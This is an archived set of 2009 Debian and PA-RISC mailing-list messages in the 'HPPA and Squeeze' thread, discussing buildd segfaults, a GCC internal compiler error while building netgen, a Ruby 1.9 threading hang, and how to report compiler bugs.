	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 06skuRXDEgCy
	for <lists-debian-release@liszt.debian.org>;
	Fri, 19 Jun 2009 15:43:28 +0000 (UTC)
Original-Received: from durotan.0x539.de (cl-379.ham-01.de.sixxs.net [IPv6:2001:6f8:900:17a::2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id 0C2D613A5D5E;
	Fri, 19 Jun 2009 15:43:28 +0000 (UTC)
Original-Received: from pkern by durotan.0x539.de with local (Exim 4.69)
	(envelope-from <pkern@durotan.0x539.de>)
	id 1MHgFQ-00070v-3N; Fri, 19 Jun 2009 17:43:24 +0200
Content-Disposition: inline
In-Reply-To: <20090619151526.GA30984@roeckx.be>
X-Debbugs-No-Ack: yes
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <mCzfRHVb5II.A.F3G.oI7OKB@liszt>
Resent-From: debian-release@lists.debian.org
X-Mailing-List: <debian-release@lists.debian.org> archive/latest/32009
X-Loop: debian-release@lists.debian.org
List-Id: <debian-release.lists.debian.org>
List-Post: <mailto:debian-release@lists.debian.org>
List-Help: <mailto:debian-release-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-release-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-release-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-release-request@lists.debian.org
Resent-Date: Fri, 19 Jun 2009 15:43:36 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.devel.release:30835 gmane.linux.debian.ports.hppa:5775 gmane.linux.ports.parisc:1781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1781>


--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> Here is a list of packages that failed to build because of instability
> on the buildds today:
> package     | buildd   | error
> qgit        | penalosa | make: *** [install] Segmentation fault
> acpica-unix | peri     | make: *** [install] Segmentation fault

I had those random segfaults in make on paer too, until we switched to the
UP kernel, at least from what I saw.

Sadly it looks that I forgot the buildd upgrade process on paer some days
ago.  The buildd will be back building ASAP.

Kind regards,
Philipp Kern
--=20
 .''`.  Philipp Kern                        Debian Developer
: :' :  http://philkern.de                         Stable Release Manager
`. `'   xmpp:phil@0x539.de                         Wanna-Build Admin
  `-    finger pkern/key@db.debian.org

--7JfCtLOvnd9MIVvH
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAko7shsACgkQ7Ro5M7LPzdjF7gCeOr0rHqAWSjqTTHPuHYFcoNjJ
NwMAmgKcmA5R0kUcqVXci56UZB+hRCMW
=gGXg
-----END PGP SIGNATURE-----

--7JfCtLOvnd9MIVvH--



From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 16:33:47 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20090620143347.GA20249@roeckx.be>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245508436 6319 80.91.229.12 (20 Jun 2009 14:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 14:33:56 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Luk Claes <luk@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 20 16:33:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI1df-0006GB-Tp
	for glpp-linux-parisc@gmane.org; Sat, 20 Jun 2009 16:33:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751880AbZFTOdr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 10:33:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751939AbZFTOdr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 10:33:47 -0400
Original-Received: from gerard.telenet-ops.be ([195.130.132.48]:51292 "EHLO
	gerard.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751880AbZFTOdq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 10:33:46 -0400
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by gerard.telenet-ops.be with bizsmtp
	id 6EZn1c0051cSCaU0HEZnoq; Sat, 20 Jun 2009 16:33:47 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id 9108AEB238; Sat, 20 Jun 2009 16:33:47 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090619151526.GA30984@roeckx.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1783 gmane.linux.debian.ports.hppa:5776 gmane.linux.debian.devel.release:30858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1783>

On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> So it's my understanding that the porters have no idea about the
> problems.  So I will start to mail you about problems as soon
> as I see them and they look like porting issues specific
> to hppa.

netgen fails to built with an internal compiler error since
atleast April 2008.  Logs are at:
https://buildd.debian.org/build.cgi?pkg=netgen;ver=4.4-15;arch=hppa
https://buildd.debian.org/build.cgi?pkg=netgen;arch=hppa


Kurt

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.debian.devel.release,gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 16:39:44 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20090620143944.GA20338@roeckx.be>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245508804 7204 80.91.229.12 (20 Jun 2009 14:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 14:40:04 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Luk Claes <luk@debian.org>
Original-X-From: bounce-debian-release=debian-release=m.gmane.org@lists.debian.org Sat Jun 20 16:39:59 2009
Return-path: <bounce-debian-release=debian-release=m.gmane.org@lists.debian.org>
Envelope-to: debian-release@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI1ja-0008Uj-3t
	for debian-release@m.gmane.org; Sat, 20 Jun 2009 16:39:58 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 81D012D0BF5; Sat, 20 Jun 2009 14:39:57 +0000 (UTC)
Old-Return-Path: <kurt@roeckx.be>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.9 required=4.0 tests=FOURLA,LDO_WHITELIST
	autolearn=failed version=3.2.5
X-Original-To: lists-debian-release@liszt.debian.org
Delivered-To: lists-debian-release@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 7C11013A5F82
	for <lists-debian-release@liszt.debian.org>; Sat, 20 Jun 2009 14:39:51 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-ht
X-Amavis-Spam-Status: No, score=-6.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id Iha0IaJK98Gb
	for <lists-debian-release@liszt.debian.org>;
	Sat, 20 Jun 2009 14:39:47 +0000 (UTC)
Original-Received: from jacques.telenet-ops.be (jacques.telenet-ops.be [195.130.132.50])
	by liszt.debian.org (Postfix) with ESMTP id 15A9B13A59E3
	for <debian-release@lists.debian.org>; Sat, 20 Jun 2009 14:39:47 +0000 (UTC)
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by jacques.telenet-ops.be with bizsmtp
	id 6Efk1c00A1cSCaU0JEfkJa; Sat, 20 Jun 2009 16:39:44 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id AC259EB238; Sat, 20 Jun 2009 16:39:44 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090619151526.GA30984@roeckx.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <Io-ZwkemnjE.A.v6C.9SPPKB@liszt>
Resent-From: debian-release@lists.debian.org
X-Mailing-List: <debian-release@lists.debian.org> archive/latest/32033
X-Loop: debian-release@lists.debian.org
List-Id: <debian-release.lists.debian.org>
List-Post: <mailto:debian-release@lists.debian.org>
List-Help: <mailto:debian-release-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-release-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-release-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-release-request@lists.debian.org
Resent-Date: Sat, 20 Jun 2009 14:39:57 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.devel.release:30859 gmane.linux.debian.ports.hppa:5777 gmane.linux.ports.parisc:1784
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1784>

On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> So it's my understanding that the porters have no idea about the
> problems.  So I will start to mail you about problems as soon
> as I see them and they look like porting issues specific
> to hppa.

Ruby1.9 hangs in test_thread.rb and gets killed after
150 minutes of inactivity.  I assume NPTL will fix this.


Kurt



From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 16:51:05 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <7d01f9f00906200751t164cd324v2438fc38b9dc517f@mail.gmail.com>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be>
	 <20090620143944.GA20338@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1245509475 8797 80.91.229.12 (20 Jun 2009 14:51:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 14:51:15 +0000 (UTC)
Cc: Luk Claes <luk@debian.org>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Kurt Roeckx <kurt@roeckx.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 20 16:51:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI1uR-0003SO-Id
	for glpp-linux-parisc@gmane.org; Sat, 20 Jun 2009 16:51:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752671AbZFTOvF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 10:51:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752334AbZFTOvF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 10:51:05 -0400
Original-Received: from mail-bw0-f213.google.com ([209.85.218.213]:33424 "EHLO
	mail-bw0-f213.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752671AbZFTOvE convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 10:51:04 -0400
Original-Received: by bwz9 with SMTP id 9so2270250bwz.37
        for <linux-parisc@vger.kernel.org>; Sat, 20 Jun 2009 07:51:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=fTiRHnijheug2g1PJqRy2OtUcEWKR5kSTck5TG6hvXg=;
        b=S7NBnQDJrsWiSKq8uxv7xZuxMRRbegJoQAXLB+asNjtXq8EDZd0rQ2nv8DDTWG0AP7
         YEzLERdlpY1/cDQxo9GzM1b2AFYaFmcQ+9To8I3DWk7tSFx7fNN5aV4Gz5DQ+MD7ByFN
         zWx0HNyb7eQ23e8slKNcfHIKz52U9IUnBayXc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ncxijWzhyHBA7iQDxQhVmsGg8akoocYDTa90Aiv5rikm98NgtYIr2nh68r71pcGaiv
         rQmqSOVTaTgAofBRCSszlGASwf4JcLvALlDY9GoLMdW1bBh6cZ0i/gSy0V/SzQ2Z7hIJ
         ahs2h9fffe1YVmMbY6o/HJ46Is9Qkk36pYvc8=
Original-Received: by 10.239.148.198 with SMTP id g6mr288978hbb.138.1245509466043; Sat, 
	20 Jun 2009 07:51:06 -0700 (PDT)
In-Reply-To: <20090620143944.GA20338@roeckx.be>
X-Google-Sender-Auth: dd654711fdf51ed4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1785 gmane.linux.debian.ports.hppa:5778 gmane.linux.debian.devel.release:30860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1785>

On Sat, Jun 20, 2009 at 4:39 PM, Kurt Roeckx<kurt@roeckx.be> wrote:
> On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
>> So it's my understanding that the porters have no idea about the
>> problems. =C2=A0So I will start to mail you about problems as soon
>> as I see them and they look like porting issues specific
>> to hppa.
>
> Ruby1.9 hangs in test_thread.rb and gets killed after
> 150 minutes of inactivity. =C2=A0I assume NPTL will fix this.

yes, it's a ruby bug, it's been explained on this m-l already.
Ruby's implementation cannot handle linuxthreads.

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 12:02:54 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <20090620160255.440F24EF8@hiauly1.hia.nrc.ca>
References: <20090620143347.GA20249@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245513784 25217 80.91.229.12 (20 Jun 2009 16:03:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 16:03:04 +0000 (UTC)
Cc: luk@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: kurt@roeckx.be (Kurt Roeckx)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 20 18:03:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI31u-0002ee-Jp
	for glpp-linux-parisc@gmane.org; Sat, 20 Jun 2009 18:02:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751232AbZFTQCy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 12:02:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753251AbZFTQCy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 12:02:54 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2827 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751232AbZFTQCx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 12:02:53 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 440F24EF8; Sat, 20 Jun 2009 12:02:54 -0400 (EDT)
In-Reply-To: <20090620143347.GA20249@roeckx.be> from "Kurt Roeckx" at Jun 20, 2009 04:33:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1786 gmane.linux.debian.ports.hppa:5779 gmane.linux.debian.devel.release:30861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1786>

> On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> > So it's my understanding that the porters have no idea about the
> > problems.  So I will start to mail you about problems as soon
> > as I see them and they look like porting issues specific
> > to hppa.
> 
> netgen fails to built with an internal compiler error since
> atleast April 2008.  Logs are at:
> https://buildd.debian.org/build.cgi?pkg=netgen;ver=4.4-15;arch=hppa
> https://buildd.debian.org/build.cgi?pkg=netgen;arch=hppa

g++ -c -I. -I../libsrc/interface -Iinclude -O2 -I/usr/include/GL -I/usr/include/tcl8.4 -I/usr/include/tk8.4 -I/usr/X11R6/include  -DLINUX -DOPENGL -DNGSOLVE basiclinalg/cholesky.cpp basiclinalg/calcinverse.cpp basiclinalg/vecmat.cpp basiclinalg/bandmatrix.cpp basiclinalg/eigensystem.cpp linalg/basevector.cpp linalg/vvector.cpp linalg/basematrix.cpp linalg/sparsematrix.cpp linalg/special_matrix.cpp linalg/cg.cpp linalg/chebyshev.cpp linalg/eigen.cpp linalg/order.cpp linalg/sparsecholesky.cpp linalg/pardisoinverse.cpp linalg/superluinverse.cpp linalg/jacobi.cpp linalg/blockjacobi.cpp linalg/commutingAMG.cpp ngstd/exception.cpp ngstd/table.cpp ngstd/bitarray.cpp ngstd/flags.cpp ngstd/symboltable.cpp ngstd/blockalloc.cpp ngstd/evalfunc.cpp ngstd/templates.cpp ngstd/localheap.cpp
linalg/basematrix.cpp: In member function 'void ngla::S_BaseMatrix<std::complex<double> >::_ZTv0_n72_NK4ngla12S_BaseMatrixISt7complexIdEE12MultTransAddES2_RKNS_10BaseVectorERS4_(ngbla::Complex, const ngla::BaseVector&, ngla::BaseVector&) const':
linalg/basematrix.cpp:208: internal compiler error: in expand_expr_addr_expr_1, at expr.c:6830
Please submit a full bug report,
with preprocessed source if appropriate.
See <file:///usr/share/doc/gcc-4.3/README.Bugs> for instructions.

When an internal compiler error occurs as above, a GCC bug report with
the following information should be filed:

1) failing compiler command,
2) details of the compiler (gcc -v), and
3) the preprocessed source for the failing command.

You can CC me on hppa bugs (danglin at gcc dot gnu dot org).

It takes less than five minutes to generate the above information and
file a bug report.  The preprocessed source is really important as it
is very difficult for others to duplicate the problem otherwise.

In this case, it appears the following assert is triggered.

          /* If the DECL isn't in memory, then the DECL wasn't properly
	     marked TREE_ADDRESSABLE, which will be either a front-end
	     or a tree optimizer bug.  */
	  gcc_assert (MEM_P (result));

There's a fairly high probability that this is a generic bug.

If the bug is a compiler regression, then fixes will applied to all active
branches when available.  Thus, it is useful to know if an earlier compiler
version was able to successfully compile the file.

As things stand, I file more than 90% of hppa compiler bugs based on what
I see in my testing.  However, I'm not trying to build and maintain 10,000
packages.  So, hopefully, the debian build team can help a bit more with
problem reporting.

I recognize that not all bugs are easy to classify.  However, internal
compiler errors are always compiler bugs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 19:48:38 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20090620174838.GA22999@roeckx.be>
References: <20090620143347.GA20249@roeckx.be> <20090620160255.440F24EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245520132 9383 80.91.229.12 (20 Jun 2009 17:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 17:48:52 +0000 (UTC)
Cc: luk@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 20 19:48:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI4gH-0005NL-Mq
	for glpp-linux-parisc@gmane.org; Sat, 20 Jun 2009 19:48:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751320AbZFTRsl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 13:48:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752090AbZFTRsl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 13:48:41 -0400
Original-Received: from jacques.telenet-ops.be ([195.130.132.50]:55159 "EHLO
	jacques.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751320AbZFTRsk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 13:48:40 -0400
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by jacques.telenet-ops.be with bizsmtp
	id 6Hoh1c0011cSCaU0JHohPA; Sat, 20 Jun 2009 19:48:41 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id D2FF3EB238; Sat, 20 Jun 2009 19:48:40 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090620160255.440F24EF8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1787 gmane.linux.debian.ports.hppa:5780 gmane.linux.debian.devel.release:30863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1787>

On Sat, Jun 20, 2009 at 12:02:54PM -0400, John David Anglin wrote:
> > On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> > > So it's my understanding that the porters have no idea about the
> > > problems.  So I will start to mail you about problems as soon
> > > as I see them and they look like porting issues specific
> > > to hppa.
> > 
> > netgen fails to built with an internal compiler error since
> > atleast April 2008.  Logs are at:
> 
> When an internal compiler error occurs as above, a GCC bug report with
> the following information should be filed:
> 
> 1) failing compiler command,
> 2) details of the compiler (gcc -v), and
> 3) the preprocessed source for the failing command.
> 
> You can CC me on hppa bugs (danglin at gcc dot gnu dot org).

I know how to file gcc bugs.  I've just filed one.  I didn't
have time to try and reduce the testcase, and I can't try
different versions of g++ yet.  I've asked to have different
versions installed on paer.

The bug report is at:
http://gcc.gnu.org/PR40505


> It takes less than five minutes to generate the above information and
> file a bug report.

I've never been able to file any (non-automated) bug report in
5 minutes.  And if you don't even have direct access to the
hardware it takes longer.


Kurt

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 15:57:19 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20090620215719.GA853@lackof.org>
References: <20090620143347.GA20249@roeckx.be> <20090620160255.440F24EF8@hiauly1.hia.nrc.ca> <20090620174838.GA22999@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245535050 14827 80.91.229.12 (20 Jun 2009 21:57:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 21:57:30 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, luk@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: Kurt Roeckx <kurt@roeckx.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 20 23:57:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI8Ys-0000z9-HA
	for glpp-linux-parisc@gmane.org; Sat, 20 Jun 2009 23:57:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753745AbZFTV5S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 17:57:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753814AbZFTV5S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 17:57:18 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:40615 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753745AbZFTV5R (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 17:57:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
